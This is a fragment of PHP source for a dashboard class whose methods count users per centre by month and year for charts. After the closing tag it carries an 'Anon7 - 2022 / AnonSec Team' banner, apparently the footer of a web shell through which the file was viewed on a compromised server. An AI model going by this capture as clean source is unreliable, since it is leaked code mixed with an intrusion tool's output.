		$clienti_inseriti_centro= $this->db->SafeFetch($query);	
		for ($ik=0; $ik < count($clienti_inseriti_centro); $ik++) { 
			$toRet['affiliati'][($clienti_inseriti_centro[$ik]['mese']-1)]= intVal($clienti_inseriti_centro[$ik]['numero_utenti']);
		}
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	function getHomeProductSales() {
		$id_centro =  $this->db->quoteInt($_SESSION['userdata']['id_centro']);
		$toRet = ["dati"=>[], "label"=>[]];
		$query = "SELECT YEAR(create_time) AS anno, COUNT(*) AS numero_utenti FROM user WHERE id_centro = $id_centro GROUP BY YEAR(create_time) ORDER BY anno;"; 
		$numero_utenti= $this->db->SafeFetch($query);	
		for ($k=0; $k < count($numero_utenti); $k++) { 
			$toRet['dati'][$k]=$numero_utenti[$k]['numero_utenti'];
			$toRet['label'][$k]=$numero_utenti[$k]['anno'];
		}
		
		return $this->printMessage( $this->responseMessage($toRet, true) );
	}

	

	


	
}
?>

Anon7 - 2022
AnonSec Team